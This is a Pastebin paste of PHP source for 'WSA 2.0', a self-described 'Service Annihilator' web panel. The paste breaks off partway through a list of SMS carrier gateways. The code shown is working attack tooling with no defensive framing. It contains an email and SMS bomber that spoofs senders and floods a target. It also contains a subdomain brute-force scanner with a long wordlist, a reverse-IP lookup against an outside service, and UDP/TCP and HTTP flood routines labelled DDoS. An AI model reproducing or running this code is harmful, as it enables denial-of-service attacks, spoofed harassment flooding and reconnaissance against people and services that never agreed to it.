Advertisement
Guest User

WSA 2.0

a guest
Apr 17th, 2016
747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 37.91 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5. session_start();
  6. @ini_set('max_execution_time', 0);
  7. @set_time_limit(0);
  8. $wsa = new WSA_2_0();
  9. echo $wsa->init();
  10.  
  11.  
  12. if(is_array(filter_input_array(INPUT_POST))) {
  13.     $a = filter_input_array(INPUT_POST);
  14.     echo $wsa->handler($a);
  15. }
  16. else {
  17.     echo $wsa->handler('1');
  18. }
  19.  
  20. echo $wsa->pageView('footer');
  21. exit;
  22.  
  23. class WSA_2_0 {
  24.    
  25.     private $pages = array("1"=>"main","2"=>"mail","3"=>"resolve","4"=>"reverse","5"=>"dos");
  26.     private $prefix = array("mail", "www", "ns2", "ns1", "blog", "localhost", "m", "ftp",
  27.         "mobile", "ns3", "smtp", "search", "api", "dev", "secure", "webmail", "admin",
  28.         "img", "news", "sms", "test", "video", "www2", "media", "static", "ads",
  29.         "mail2", "beta", "wap", "dns2", "support", "pop", "my", "origin-www", "help",
  30.         "newsletter", "ns4", "upload", "mail3", "blogs", "download", "dns1", "www3", "shop",
  31.         "forum", "chat", "www1", "image", "app", "tv", "dns", "services", "music",
  32.         "images", "game", "pay", "new", "host", "www4", "service", "ad", "monitor",
  33.         "web2", "wiki", "mx1", "sports", "lists", "m1", "games", "db", "m2",
  34.         "business", "dns3", "ws", "counter", "travel", "photo", "gateway", "members", "c",
  35.         "g", "mail4", "crm", "tools", "backup", "mail1", "apps", "t", "email",
  36.         "img3", "cms", "demo", "local", "ns", "i", "s", "community", "connect",
  37.         "cdn", "w12", "iphone", "cacti", "w11", "www.mail", "auth", "rss", "nagios",
  38.         "www.search", "home", "data", "img2", "live", "files", "www5", "login", "stat",
  39.         "sso", "member", "jira", "w4", "img5", "ipad", "web1", "shopping", "core",
  40.         "soccer", "jp", "vpn", "www.m", "labs", "*.blog", "old", "ntp", "mysql",
  41.         "it", "origin", "content", "feedback", "health", "exchange", "puppet", "mx", "corp",
  42.         "job", "a", "img9", "mediakit", "gourmet", "dir", "reports", "pr", "marketing",
  43.         "diet", "crawl", "redmine", "mon", "wallet", "cache", "mac", "feeds", "editor",
  44.         "*.mail", "ftp2", "rt", "info", "kids", "imap", "svn", "reklam", "de",
  45.         "point", "transit", "r", "www.dev", "partners", "hosting", "img1", "www.ads", "www.news",
  46.         "img4", "img6", "db1", "img7", "w2", "www.api", "auto", "adv", "feed",
  47.         "www.sms", "img8", "w5", "partner", "cs", "cm", "w3", "whm", "w18",
  48.         "w6", "w8", "origin-images", "cpanel", "mms", "forums", "xml", "meet", "album",
  49.         "vote", "bit", "event", "us", "www6", "bitex", "av", "payment", "money",
  50.         "group", "mx2", "a1", "h2", "www.mobile", "daily", "videos", "e", "downloads",
  51.         "pl", "gps", "enews", "pg", "map", "autodiscover", "education", "sandbox", "autos",
  52.         "mv", "im", "dns4", "m3", "m9", "w10", "w13", "w14", "w20",
  53.         "w21", "ticket", "sip", "jobs", "gitlab", "stats", "u", "www9", "pda",
  54.         "survey", "love", "me", "www15", "w15", "www22", "sites", "smtp3", "smtp2",
  55.         "smtp1", "web", "press", "backend", "n", "widgets", "es", "www90", "s269",
  56.         "s281", "s216", "s221", "s222", "s224", "s227", "s233", "s236", "s237",
  57.         "s241", "s245", "s247", "s248", "s251", "s252", "s253", "s254", "s255",
  58.         "s256", "s257", "s258", "s262", "s264", "s265", "s266", "s267", "s268",
  59.         "s270", "s271", "s272", "s273", "s274", "s275", "s276", "s277", "s278",
  60.         "s280", "s285", "s286", "s287", "s288", "s289", "s291", "s304", "s305",
  61.         "s296", "s307", "s308", "s309", "s311", "s312", "s313", "s314", "s315",
  62.         "s316", "s317", "s318", "s321", "s324", "s325", "s326", "s329", "s331",
  63.         "s332", "s333", "s334", "s335", "s337", "s338", "s341", "s342", "s343",
  64.         "s344", "s345", "s346", "s347", "s348", "s349", "s351", "s352", "s353",
  65.         "s354", "s355", "s356", "s357", "s336", "s339", "s411", "s412", "s413",
  66.         "s414", "s415", "s416", "s417", "s418", "s419", "s421", "s422", "s424",
  67.         "s425", "s426", "s427", "s428", "s429", "s431", "s432", "s433", "s435",
  68.         "s436", "s438", "s439", "s441", "s442", "s443", "s444", "s445", "s446",
  69.         "s447", "s448", "s450", "s451", "s452", "s453", "s454", "s455", "s456",
  70.         "s350", "s458", "s459", "s461", "s462", "s463", "s464", "s465", "s466",
  71.         "s467", "s468", "s469", "s471", "s472", "s473", "s474", "s475", "s476",
  72.         "s477", "s402", "s403", "s406", "s420", "s430", "s434", "s437", "s440",
  73.         "s449", "s457", "s460", "s470", "river", "r1", "s203", "s249", "s239",
  74.         "m.", "share", "file", "s238", "s230", "s207", "s202", "s201", "s410",
  75.         "free", "flv", "drm", "s401", "api-test", "backup1", "promo", "o1.email", "s340",
  76.         "guides", "s310", "s330", "att", "s320", "s299", "s298", "s297", "dev1",
  77.         "main", "s306", "smoke", "s295", "s1", "s2", "s303", "s301", "sm",
  78.         "zabbix", "sms2", "jobb", "core2", "irc", "s302", "dev.payment", "billing", "s40",
  79.         "s33", "s31", "status", "s30", "movies", "entertainment", "s18", "www.tv", "s17",
  80.         "edge", "adserver", "s16", "s290", "s29", "podcast", "w9", "www.games", "adserver2",
  81.         "s7", "mailing", "s5", "tracker", "s4", "r2", "www.wap", "dm", "yahoo",
  82.         "cisco2", "cisco1", "facebook", "access", "mobi", "sync", "elections", "results", "archives",
  83.         "surveys", "users", "w1", "subscribe", "bk", "www.shopping", "football", "relay", "w7",
  84.         "adimg", "ocs", "x1", "x3", "www.cdn", "toolbar", "mobil", "solr", "www.ad",
  85.         "www.adimg", "db3", "*.red", "www.blog", "navi", "db01", "db4", "*.dev", "db02",
  86.         "m0", "araba", "present", "profile", "sr", "w17", "w19", "w22", "w23",
  87.         "w24", "anime", "research", "fortune", "cp1", "cp2", "cp3", "cp4", "cp5",
  88.         "cp6", "cp7", "cp8", "cp9", "cp10", "voip", "fotogaleri", "secure.dev", "screenshot",
  89.         "*.search", "secim", "canli", "sorry", "log", "in", "kvm", "translate", "coupon",
  90.         "challenge", "bb", "docs", "services2", "weather", "click", "tvadmin", "vid1", "vid2",
  91.         "sharepoint", "code", "test1", "history", "appdev", "admin.test", "buzz", "realty", "widget",
  92.         "noticias", "radio", "blogger", "showcase", "oas", "inter", "fotos", "helpdesk", "download2",
  93.         "*.staging", "fr", "local.api", "pt", "as", "ru", "en", "*.blogs", "test.www",
  94.         "www.chat", "nb", "lb", "img0", "ssl", "link", "ns5", "dating", "newsletters",
  95.         "contribute", "master", "www.hosting", "img10", "img11", "kid", "cache3", "cache1", "polls",
  96.         "qq", "campus", "record", "kk", "www.music", "dc", "webdisk", "ssl1", "db2",
  97.         "app2", "web3", "api.news", "dev.movie", "fm", "advertising", "dictionary", "cache2", "form",
  98.         "dev.music", "season", "conference", "dev.news", "dev.travel", "error", "finance", "portal", "mail5.mail",
  99.         "sq1", "mail4.mail", "origin-www.sjl01", "mail3.mail", "beacon", "click1.mail", "wireless", "now", "mail2.mail",
  100.         "archive", "mail7.mail", "o", "mail1.mail", "mail6.mail", "ad2", "ad3", "x", "cdntest",
  101.         "ad1", "pv", "profiles", "fe2", "origin-video", "fe1", "cn", "cancer", "catalog",
  102.         "m4", "m6", "m7", "m8", "food", "w0", "sport", "magazine", "ask",
  103.         "social", "wap3", "game1", "mp", "contact", "wap1", "www.demo", "pet", "family",
  104.         "open", "ap", "seminar", "mailer", "www16", "www17", "movie", "www23", "www24",
  105.         "www25", "www26", "www30", "www31", "www32", "www36", "www37", "www39", "www41",
  106.         "www43", "www44", "www47", "www48", "www49", "www51", "www54", "www56", "www61",
  107.         "www63", "www66", "www68", "www69", "www81", "www82", "www270", "one", "corporate",
  108.         "www10", "www20", "books", "www.jobs", "events", "spotlight", "www18", "www19", "www55",
  109.         "www64", "www65", "www67", "www70", "www74", "s259", "travel2", "imgs", "3g",
  110.         "id", "stock", "union", "sales", "quangcao", "auth1", "ajax", "alt", "video1",
  111.         "video2", "auth2", "auth3", "dv1", "speedtest", "munin", "tracking", "dev.www", "zippy",
  112.         "otrs", "im2", "im3", "im4", "am", "im1", "market", "*.s", "*.b",
  113.         "b", "l", "chat2", "q", "maintenance", "developer", "b2", "ekonomi", "spor",
  114.         "web10", "dns5", "intranet", "beta.m", "christmas", "v", "bbs", "activity", "us.m",
  115.         "m10", "idc", "m11", "user", "www.game", "ann", "fb", "woman", "jabber",
  116.         "mb2", "adm", "wap2", "staging", "talk", "cf", "fin", "rw", "p",
  117.         "men", "women", "list", "lite", "win", "www.help", "site", "club", "i3.comet.webchat",
  118.         "webchat", "www.plb3", "backoffice", "i7.comet.webchat", "comet.webchat",
  119.         "ext.webchat", "i2.comet.webchat", "i6.comet.webchat", "www.plb1",
  120.         "www.plb2", "www.plb4", "www.plb5", "www.plb6", "www.slb1", "www.slb2", "www.slb3",
  121.         "www.slb4", "www.slb5", "www.slb6", "buddy.webchat", "i9.comet.webchat", "m.plb1", "m.plb2",
  122.         "i4.comet.webchat", "m.slb2", "i0.comet.webchat", "i1.comet.webchat",
  123.         "i8.comet.webchat", "i5.comet.webchat", "m.slb1", "msgrs.webchat", "mayday");
  124.    
  125.     public function __construct() {
  126.         if(is_array(filter_input_array(INPUT_POST))) {
  127.             $a = filter_input_array(INPUT_POST);
  128.             foreach ($a as $k => $v) {
  129.                 $this->$k = $v;
  130.             }
  131.         }  
  132.     }
  133.    
  134.     public function init() {
  135.         return $this->pageView('header');
  136.     }
  137.    
  138.     public function handler($a) {
  139.         if(isset($this->a)) {
  140.             return $this->stagging();
  141.         }
  142.         else {
  143.             $this->a = $a;
  144.             return $this->stagging();
  145.         }
  146.     }
  147.    
  148.     private function newsFeed() {
  149.         $this->newsList = $this->pageView($this->pages['1']);
  150.         $feed = simplexml_load_file('http://sec.jetlib.com/?media=atom');
  151.         $children = $feed->children('http://www.w3.org/2005/Atom');
  152.         $entries = $children->entry;
  153.         foreach ($entries as $entry) {
  154.             $details = $entry->children('http://www.w3.org/2005/Atom');
  155.             $this->newsList .= '<div class="activenewstitle">'
  156.                     . '<h1>' . $details->title . '</h1>'
  157.                     . '</div>'
  158.                     . '<div class="activenewscontent">'
  159.                     . $details->content
  160.                     . '<br>'
  161.                     . '<a href=' . $details->id . '>' . $details->id . '</a>'
  162.                     . '</div>';
  163.         }
  164.         return $this->newsList;
  165.     }
  166.    
  167.    
  168.     private function stagging() {
  169.             switch ($this->a) {
  170.         case 1:
  171.             return $this->newsFeed();
  172.             break;
  173.         case 2:
  174.             return $this->mailStart();
  175.             break;
  176.         case 3:
  177.             return $this->resolveStart();
  178.             break;
  179.         case 4:
  180.             return $this->reverseIpStart();
  181.             break;
  182.         case 5:
  183.             return $this->dosStart();
  184.             break;
  185.         default:
  186.             return $this->newsFeed();
  187.             break;
  188.         }
  189.     }
  190.    
  191.     private function mailStart() {
  192.         if(isset($this->p6)) {
  193.             $this->p5 = "$this->p5.$this->p6";
  194.         }
  195.         if(!filter_var($this->p2, FILTER_VALIDATE_EMAIL) && isset($this->p1)) {
  196.             $this->p2 = 'rekt@gayjimsgym.com';
  197.         }
  198.         if(filter_var($this->p1, FILTER_VALIDATE_EMAIL) && ctype_digit($this->p3)) {
  199.             return $this->launchMailJob();
  200.         }
  201.         else {
  202.             return $this->pageView($this->pages[$this->a]);
  203.         }
  204.     }
  205.    
  206.     private function resolveStart() {
  207.         if(isset($this->p1) && gethostbyname($this->p1)) {
  208.             return $this->launchResolveJob();
  209.         }
  210.         else {
  211.             return $this->pageView($this->pages[$this->a]);
  212.         }
  213.     }
  214.    
  215.     private function reverseIpStart() {
  216.         if(isset($this->p1) && (filter_var($this->p1, FILTER_VALIDATE_IP))) {
  217.             return $this->launchReverseIpJob();
  218.         }
  219.         else {
  220.             return $this->pageView($this->pages[$this->a]);
  221.         }
  222.     }
  223.    
  224.     private function dosStart() {
  225.         if($this->p1 != 'http' && ctype_digit($this->p3) && ctype_digit($this->p4)) {
  226.             return $this->launchUdpTcpJob();
  227.         }
  228.         elseif($this->p1 == 'http' && ctype_digit($this->p4)) {
  229.             return $this->launchHttpJob();
  230.         }
  231.         else {
  232.             return $this->pageView($this->p1);
  233.         }
  234.        
  235.     }
  236.    
  237.     private function launchMailJob() {
  238.         $errno = '0';
  239.         $succ = '0';
  240.         echo $this->pageView('mail');
  241.         echo '<div class="resultstitle"><h1>Mail Bomber Output</h1></div><div class="resultscontent">';
  242.         for ($i = 0; $i < $this->p3; $i++) {
  243.             $p2 = explode('@', $this->p2);
  244.             $p2[0] = $p2[0] . $i;
  245.             $from = implode('@', $p2);
  246.             $p4 = $this->p4 . $i;
  247.             $headers = "From: $from" . "\r\n";
  248.             $headers .= "Reply-To: $from" . "\r\n";
  249.             $headers .= "X-Mailer: PHP/" . phpversion();
  250.             if (!mail($this->p1, $p4, $this->p5, $headers)) {
  251.                 if($errno + $succ == 50) {
  252.                     echo '<br>';
  253.                     $errno = 0;
  254.                     $submit = 0;
  255.                 }
  256.                 $errno++;
  257.                 echo '<font color="red">|</font>';
  258.             } else {
  259.                 if($errno + $succ == 50) {
  260.                     echo '<br>';
  261.                     $errno = 0;
  262.                     $submit = 0;
  263.                 }
  264.                 $succ++;
  265.                 echo '<font color="green">|</font>';
  266.             }
  267.         }
  268.         echo '</div>';
  269.     }
  270.    
  271.     private function launchResolveJob() {
  272.         echo $this->pageView('resolve');
  273.         echo '<div class="resultstitle"><h1>Subdomain Scanner Output</h1></div><div class="resultscontent">';
  274.         echo '<center><table cellspacing="1" cellpadding="2" class="info">';
  275.         foreach ($this->prefix as $prefix) {
  276.             $domain = $prefix . '.' . $this->p1;
  277.             $domainIP = gethostbyname($domain);
  278.             if(filter_var($domainIP, FILTER_VALIDATE_IP)) {
  279.                 echo '<tr><td>' . $domain . '</td><td>' . $domainIP . '</td></tr>';
  280.             }
  281.         }
  282.         echo '</table></center></div>';
  283.     }
  284.    
  285.     private function launchReverseIpJob() {
  286.         echo $this->pageView('reverse');
  287.         echo '<div class="resultstitle"><h1>Reverse IP Output</h1></div><div class="resultscontent">';
  288.         echo '<center><table cellspacing="1" cellpadding="2" class="info">';
  289.         echo '<tr><th>Host</th><th>Veriffied IP</td></tr>';
  290.         $uri = "http://domains.yougetsignal.com/domains.php";
  291.         $ch = curl_init($uri);
  292.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  293.         curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$this->p1&ket=");
  294.         curl_setopt($ch, CURLOPT_HEADER, 0);
  295.         curl_setopt($ch, CURLOPT_POST, 1);
  296.         $srf = curl_exec($ch);
  297.         preg_match_all("/\[\"(.*)\",/U", $srf, $match);
  298.         foreach ($match[1] as $url) {
  299.             if($this->p1 === gethostbyname($url)) {
  300.             echo '<tr><td>' . $url . '</td><td>' . gethostbyname($url) . '</td></tr>';
  301.             }
  302.         }
  303.         echo '</table></center></div>';
  304.     }
  305.    
  306.     private function launchUdpTcpJob() {
  307.         echo $this->pageView($this->p1);
  308.         $end = time() + $this->p4;
  309.         $succ = 0;
  310.         for ($sendData = 0; strlen($sendData) < 65000; $sendData .= Chr(255)) {
  311.            
  312.         }
  313.         while (1) {
  314.             if (time() > $end) {
  315.                 break;
  316.             }
  317.             $fp = fsockopen($this->p1 . '://' . $this->p2, $this->p3, $errno, $errstr, 5);
  318.             if ($fp) {
  319.                 fwrite($fp, $sendData);
  320.                 fclose($fp);
  321.                 $succ++;
  322.             }
  323.         }
  324.         echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
  325.         echo '<div class="resultscontent">';
  326.         if($succ == 0) { echo '<font color="red">ERROR</font>'; }
  327.        
  328.         else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
  329.         echo'</div>';
  330.     }
  331.  
  332.     private function launchHttpJob() {
  333.         echo $this->pageView($this->p1);
  334.         $end = time() + $this->p4;
  335.         $succ = 0;
  336.         $sendData .= 'GET ' . $this->p5 . ' HTTP/1.1' . "\r\n";
  337.         $sendData .= 'Host: ' . $this->p2 . "\r\n";
  338.         $sendData .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  339.         $sendData .= 'Keep-alive: 300' . "\r\n";
  340.         $sendData .= 'Connection: keep-alive' . "\r\n\r\n";
  341.         $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
  342.         while (1) {
  343.             if (time() > $end) {
  344.                 break;
  345.             }
  346.             if ($fp) {
  347.                 fwrite($fp, $sendData);
  348.                 fclose($fp);
  349.                 $succ++;
  350.             } else {
  351.                 $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
  352.             }
  353.         }
  354.         echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
  355.         echo '<div class="resultscontent">';
  356.         if($succ == 0) { echo '<font color="red">ERROR</font>'; }
  357.        
  358.         else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
  359.         echo'</div>';
  360.     }
  361.    
  362.  
  363.     public function pageView($chunk) {
  364.         $chld = new constructHTML();
  365.         return $chld->fetchHtml($chunk);
  366.     }
  367.    
  368.  
  369. }
  370.  
  371. class constructHTML extends WSA_2_0 {
  372.  
  373.    
  374.     private $headerHTML = '<!-- header -->'
  375. .'<head>'
  376. .'    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
  377. .'    <title>WSA 2.0</title>'
  378. .'    <style>'
  379. .'        body'
  380. .'        {'
  381. .'            height:100%;'
  382. .'            width:100%;'
  383. .'            padding:0;'
  384. .'            margin:0;'
  385. .'            color:#e1e1e1;'
  386. .'            background-color:#444;'
  387. .'        }'
  388. .'        body,td,th'
  389. .'        {'
  390. .'            font: 9pt Lucida,Verdana;margin:0;'
  391. .'            color:#e1e1e1;'
  392. .'        }'
  393. .'        .headercontainer'
  394. .'        {'
  395. .'            width: 100%;'
  396. .'            display: inline-flex;'
  397. .'            flex-direction: column;'
  398. .'            background-color:#222;'
  399. .'            margin-bottom: 20px;'
  400. .'        }'
  401. .'        .header'
  402. .'        {'
  403. .'            display: inline;'
  404. .'            text-align: center;'
  405. .'        }'
  406. .'        .menubar'
  407. .'        {'
  408. .'            margin-top: 5px;'
  409. .'            justify-content: center;'
  410. .'            text-align: center;'
  411. .'            display: inline-flex;'
  412. .'        }'
  413. .'        .menubar > div'
  414. .'        {'
  415. .'            width: 10%;'
  416. .'            margin: 5px;'
  417. .'            border-radius: 10px 10px 10px 10px;'
  418. .'            background-color: #444;'
  419. .'        }'
  420. .'        .menubar > div:hover'
  421. .'        {'
  422. .'            background-color: #333;'
  423. .'            font-weight: bold;'
  424. .'        }'
  425. .'        .activepage'
  426. .'        {'
  427. .'            border-left: 5px solid #444;'
  428. .'            border-right: 5px solid #444;'
  429. .'            background-color:#444;'
  430. .'        }'
  431. .'        .activetitle'
  432. .'        {'
  433. .'            width:100%;'
  434. .'            background-color:#222;'
  435. .'        }'
  436. .'        .activecontent'
  437. .'        {'
  438. .'            border-left: 5px solid #444;'
  439. .'            text-align: center;'
  440. .'            background-color: #333;'
  441. .'            padding-bottom: 20px;'
  442. .'            padding-top: 20px;'
  443. .'        }'
  444. .'        .activenews'
  445. .'        {'
  446. .'            width: 90%;'
  447. .'            display:    inline-block;'
  448. .'            border-left: 5px solid #333;'
  449. .'            border-right: 5px solid #333;'
  450. .'            background-color: #555;'
  451. .'            vertical-align: top;'
  452. .'        }'
  453. .'        .activenewstitle'
  454. .'        {'
  455. .'            background-color:#222;'
  456. .'            border-top: 40px #333 solid;'
  457. .'            text-align: left;'
  458. .'        }'
  459. .'        .activenewscontent'
  460. .'        {'
  461. .'            border-left: 5px solid #333;'
  462. .'            text-align: center;'
  463. .'            width: 100%;'
  464. .'            min-height: 40px;'
  465. .'        }'
  466. .'        .activenewscontent > p'
  467. .'        {'
  468. .'            margin: 0;'
  469. .'        }'
  470. .'        .results'
  471. .'        {'
  472. .'            margin-left: auto;'
  473. .'            margin-right: auto;'
  474. .'            display: table;'
  475. .'            background-color: #555;'
  476. .'        }'
  477. .'        .resultstitle'
  478. .'        {'
  479. .'            background-color:#222;'
  480. .'            border-top: 40px #333 solid;'
  481. .'            text-align: left;'
  482. .'        }'
  483. .'        .resultscontent'
  484. .'        {'
  485. .'            border-left: 5px solid #333;'
  486. .'            text-align: center;'
  487. .'            min-height: 40px;'
  488. .'            padding-bottom: 20px;'
  489. .'        }'
  490. .'        span'
  491. .'        {'
  492. .'            color:#df5;'
  493. .'        }'
  494. .'        .title'
  495. .'        {'
  496. .'            color:#df5;'
  497. .'            font-size:40px;'
  498. .'        }'
  499. .'        .subtitle'
  500. .'        {'
  501. .'            padding-top:10px;'
  502. .'            color:#fff;'
  503. .'            font-size:15px;'
  504. .'        }'
  505. .'        h1'
  506. .'        {'
  507. .'            color: #df5;'
  508. .'            border-left:5px solid #df5;'
  509. .'            padding: 2px 5px;'
  510. .'            font: 14pt Verdana;'
  511. .'            margin:0;'
  512. .'        }'
  513. .'        a'
  514. .'        {'
  515. .'            text-decoration:none;'
  516. .'            color:#df5;'
  517. .'        }'
  518. .'        a:hover'
  519. .'        {'
  520. .'            text-decoration:underline;'
  521. .'        }'
  522. .'        table{'
  523. .'            text-align: center;'
  524. .''
  525. .'        }'
  526. .'        th.cont {'
  527. .'            color: #df5;'
  528. .'            background-color:#222;'
  529. .'        }'
  530. .'        td.cont {'
  531. .'            font: 9pt Lucida,Verdana;'
  532. .'            margin:0;'
  533. .'            color:#e1e1e1;'
  534. .'        }'
  535. .'        tr:nth-child(2n+0) {'
  536. .'            background-color: #444;'
  537. .'        }'
  538. .'        input,textarea,select'
  539. .'        {'
  540. .'            margin:0;'
  541. .'            color:#fff;'
  542. .'            background-color:#555;'
  543. .'            border:1px solid #df5;'
  544. .'            font: 9pt Monospace, "Courier New";'
  545. .'        }'
  546. .'        .footerwrapper'
  547. .'        {'
  548. .'            display: flex;'
  549. .'            background-color:#222;'
  550. .'            min-height:84px;'
  551. .'            border-top:2px solid #444;'
  552. .'            border-left: 5px solid #444;'
  553. .'            color:#fff;'
  554. .'        }'
  555. .'        .footerCenter{'
  556. .'            width:50%;'
  557. .'            overflow:hidden;'
  558. .'            border-right:2px solid #444;'
  559. .'            border-left:2px solid #444;'
  560. .'            display:inline-block;'
  561. .'        }'
  562. .'        .footerLeft{'
  563. .'            width:25%;'
  564. .'            overflow:hidden;'
  565. .'            display:inline-block;'
  566. .'        }'
  567. .'        .footerRight{'
  568. .'            width:25%;'
  569. .'            overflow:hidden;'
  570. .'            display:inline-block;'
  571. .'        }'
  572. .'    </style>'
  573. .'</head>'
  574. .'<body>'
  575. .'    <div class="headercontainer">'
  576. .'        <div class="header">'
  577. .'            <div class="title">'
  578. .'                WSA 2.0'
  579. .'            </div>'
  580. .'            <div class="subtitle">'
  581. .'                WSO Service Annihilator'
  582. .'            </div>'
  583. .'        </div>'
  584. .'    <script>'
  585. .'        var d = document;'
  586. .'        function set(a, p1, p2, p3, p4, p5) {'
  587. .'        if (a != null)d.mf.a.value = a;'
  588. .'        if (p1 != null)d.mf.p1.value = p1;'
  589. .'        if (p2 != null)d.mf.p2.value = p2;'
  590. .'        if (p3 != null)d.mf.p3.value = p3;'
  591. .'        if (p4 != null)d.mf.p4.value = p4;'
  592. .'        if (p5 != null)d.mf.p5.value = p5;'
  593. .'        }'
  594. .'        function g(a, p1, p2, p3, p4, p5) {'
  595. .'        set(a, p1, p2, p3, p4, p5);'
  596. .'        d.mf.submit();'
  597. .'        }'
  598. .'    </script>'
  599. .'    <form method=post name=mf style="display:none;">'
  600. .'        <input type=hidden name=a>'
  601. .'        <input type=hidden name=p1>'
  602. .'        <input type=hidden name=p2>'
  603. .'        <input type=hidden name=p3>'
  604. .'        <input type=hidden name=p4>'
  605. .'        <input type=hidden name=p5>'
  606. .'        <input type=hidden name=p6>'
  607. .'    </form>'
  608. .'      <div class="menubar">'
  609. .'          <div><a href="#" onclick="g(\'1\',null,null,null,null);">Home</a></div>'
  610. .'          <div><a href="#" onclick="g(\'2\',null,null,null,null);">Mail</a></div>'
  611. .'          <div><a href="#" onclick="g(\'3\',null,null,null,null);">Resolve</a></div>'
  612. .'          <div><a href="#" onclick="g(\'4\',null,null,null,null);">ReverseIP</a></div>'
  613. .'          <div><a href="#" onclick="g(\'5\',\'udp\',null,null,null);">DDoS</a></div>'
  614. .'      </div>'
  615. .'    </div>';
  616.     private $mainHTML = '<!-- content -->'
  617. .'    <div class="activepage">'
  618. .'        <div class="activetitle">'
  619. .'            <h1>Latest News - Jetlib.com</h1>'
  620. .'        </div>'
  621. .'        <div class="activecontent">'
  622. .'            <div class="results">';
  623.     private $mailHTML = '<!-- content -->'
  624. .'    <div class="activepage">'
  625. .'        <div class="activetitle">'
  626. .'            <h1>Email/SMS Bomber</h1>'
  627. .'        </div>'
  628. .'        <div class="activecontent">'
  629. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value);return false;">'
  630. .'                <input type="hidden" name="a" value="2" />'
  631. .'                <span>Email Bomber</span><br>'
  632. .'                Target<br>'
  633. .'                <input type="text" name="p1" placeholder="Target email" value="" /><br>'
  634. .'                Sender<br>'
  635. .'                <input type="text" name="p2" placeholder="Spoof email" value="" /><br>'
  636. .'                Amount<br>'
  637. .'                <input type="text" name="p3" placeholder="100" value="" /><br>'
  638. .'                Subject<br>'
  639. .'                <input type="text" name="p4" placeholder="Subject" value="" /><br>'
  640. .'                Message<br>'
  641. .'                <textarea id="bigbox" name="p5"></textarea><br>'
  642. .'                <input type="submit" value=">> Send <<"/><br>'
  643. .'            </form>'
  644. .'            <form  onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value,this.p6.value);return false;">'
  645. .'                <input type="hidden" name="a" value="2" />'
  646. .'                <span>SMS Bomber</span><br>'
  647. .'                Target<br>'
  648. .'                <input type="text" name="p1" placeholder="Target cell number" value="" /><br>'
  649. .'                Provider<br>'
  650. .'                <select name="p6">'
  651. .'                    <option value="@sms.3rivers.net">3 River Wireless</option>'
  652. .'                    <option value="@paging.acswireless.com">ACS Wireless</option>'
  653. .'                    <option value="@message.alltel.com">Alltel</option>'
  654. .'                    <option value="@txt.att.net ">AT&amp;T</option>'
  655. .'                    <option value="@txt.bellmobility.ca">Bell Canada</option>'
  656. .'                    <option value="@bellmobility.ca">Bell Canada</option>'
  657. .'                    <option value="@txt.bell.ca">Bell Mobility (Canada)</option>'
  658. .'                    <option value="@txt.bellmobility.ca">Bell Mobility</option>'
  659. .'                    <option value="@blueskyfrog.com">Blue Sky Frog</option>'
  660. .'                    <option value="@sms.bluecell.com">Bluegrass Cellular</option>'
  661. .'                    <option value="@myboostmobile.com">Boost Mobile</option>'
  662. .'                    <option value="@bplmobile.com">BPL Mobile</option>'
  663. .'                    <option value="@cwwsms.com">Carolina West Wireless</option>'
  664. .'                    <option value="@mobile.celloneusa.com">Cellular One</option>'
  665. .'                    <option value="@csouth1.com">Cellular South</option>'
  666. .'                    <option value="@cwemail.com">Centennial Wireless</option>'
  667. .'                    <option value="@messaging.centurytel.net">CenturyTel</option>'
  668. .'                    <option value="@txt.att.net ">Cingular (Now AT&amp;T)</option>'
  669. .'                    <option value="@msg.clearnet.com">Clearnet</option>'
  670. .'                    <option value="@comcastpcs.textmsg.com">Comcast</option>'
  671. .'                    <option value="@corrwireless.net">Corr Wireless Communications</option>'
  672. .'                    <option value="@mobile.dobson.net">Dobson</option>'
  673. .'                    <option value="@sms.edgewireless.com">Edge Wireless</option>'
  674. .'                    <option value="@fido.ca">Fido</option>'
  675. .'                    <option value="@sms.goldentele.com">Golden Telecom</option>'
  676. .'                    <option value="@messaging.sprintpcs.com">Helio</option>'
  677. .'                    <option value="@text.houstoncellular.net">Houston Cellular</option>'
  678. .'                    <option value="@ideacellular.net">Idea Cellular</option>'
  679. .'                    <option value="@ivctext.com">Illinois Valley Cellular</option>'
  680. .'                    <option value="@inlandlink.com">Inland Cellular Telephone</option>'
  681. .'                    <option value="@pagemci.com">MCI</option>'
  682. .'                    <option value="@page.metrocall.com">Metrocall</option>'
  683. .'                    <option value="@my2way.com">Metrocall 2-way</option>'
  684. .'                    <option value="@mymetropcs.com">Metro PCS</option>'
  685. .'                    <option value="@fido.ca">Microcell</option>'
  686. .'                    <option value="@clearlydigital.com">Midwest Wireless</option>'
  687. .'                    <option value="@mobilecomm.net">Mobilcomm</option>'
  688. .'                    <option value="@text.mtsmobility.com">MTS</option>'
  689. .'                    <option value="@messaging.nextel.com">Nextel</option>'
  690. .'                    <option value="@onlinebeep.net">OnlineBeep</option>'
  691. .'                    <option value="@pcsone.net">PCS One</option>'
  692. .'                    <option value="@txt.bell.ca">President"s Choice</option>'
  693. .'                    <option value="@sms.pscel.com">Public Service Cellular</option>'
  694. .'                    <option value="@qwestmp.com">Qwest</option>'
  695. .'                    <option value="@pcs.rogers.com">Rogers AT&amp;T Wireless</option>'
  696. .'                    <option value="@pcs.rogers.com">Rogers Canada</option>'
  697. .'                    <option value="@satellink.net">Satellink</option>'
  698. .'                    <option value="@email.swbw.com">Southwestern Bell</option>'
  699. .'                    <option value="@messaging.sprintpcs.com">Sprint</option>'
  700. .'                    <option value="@tms.suncom.com">Sumcom</option>'
  701. .'                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>'
  702. .'                    <option value="@tmomail.net">T-Mobile</option>'
  703. .'                    <option value="@msg.telus.com">Telus</option>'
